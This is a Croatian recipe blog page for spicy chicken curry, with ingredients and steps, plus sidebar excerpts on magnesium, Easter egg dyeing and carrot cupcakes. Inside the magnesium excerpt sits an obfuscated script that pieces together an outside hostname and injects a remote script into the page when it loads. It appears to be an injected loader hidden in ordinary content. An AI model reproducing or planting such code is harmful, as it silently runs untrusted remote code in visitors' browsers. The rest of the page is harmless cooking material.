LJUTI PILEĆI CURRY





Ljuti pileći curry 




Ljuti pileći curry jedno je od onih jela koje osvaja bogatim mirisima, kombinacijom začina i kremastim umakom kojem je teško odoljeti. Danas postoje brojne verzije ovog jela diljem svijeta – od blagih i kremastih do vatreno ljutih varijanti.





Ljuti pileći curry 


Sastojci:

  • 450 g pilećih zabataka bez kostiju ili pilećih prsa, narezanih na komade
  • 2 veća luka, sitno nasjeckana
  • 2 rajčice, nasjeckane
  • 4 češnja češnjaka, sitno nasjeckana
  • komad đumbira (oko 2,5 cm), sitno nasjeckan
  • 2 žlice ulja (biljno ili kokosovo)
  • 1 žlica mljevene ljute paprike ili chili praha
  • 1 čajna žličica kurkume
  • 1 čajna žličica mljevenog kumina
  • 1 čajna žličica mljevenog korijandra
  • 1 čajna žličica garam masale
  • 1 čajna žličica slatke mljevene paprike
  • 1/2 čajne žličice kajenskog papra (po želji)
  • 240 ml kokosovog mlijeka ili običnog jogurta
  • 240 ml pilećeg temeljca ili vode
  • sol, po ukusu
  • svježi korijander ili peršin, za posluživanje




Priprema:

  1. U većoj zdjeli pomiješajte komade piletine s polovicom nasjeckanog češnjaka, polovicom đumbira i prstohvatom soli. Ostavite sa strane desetak minuta dok pripremate ostale sastojke.
  2. Ako želite potpuno gladak umak, luk, rajčice, ostatak češnjaka i đumbira možete usitniti štapnim mikserom u gustu pastu. Za rustikalniju verziju ostavite sastojke nasjeckane.
  3. U dubokoj tavi ili loncu zagrijte ulje na srednje jakoj vatri. Dodajte luk i pirjajte 5 do 7 minuta dok ne postane zlatno-smeđ i lagano karameliziran.
  4. Umiješajte chili, kurkumu, kumin, korijandar, slatku papriku i cayenne papar. Začine kratko popržite 1 do 2 minute kako bi pustili aromu.
  5. Dodajte rajčice i kuhajte nekoliko minuta dok se smjesa ne zgusne, a ulje lagano ne počne izlaziti na površinu.
  6. Dodajte mariniranu piletinu i kratko je zapecite sa svih strana, otprilike 5 do 7 minuta.
  7. Ulijte kokosovo mlijeko i pileći temeljac pa dobro promiješajte. Kada curry zakuha, smanjite vatru, poklopite i kuhajte 20 do 25 minuta uz povremeno miješanje.
  8. Pred kraj dodajte garam masalu i pustite da lagano kuha još 5 minuta kako bi se svi okusi povezali.
  9. Pospite svježim korijanderom ili peršinom i poslužite vruće uz kuhanu basmati rižu, naan kruh ili domaće lepinje.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više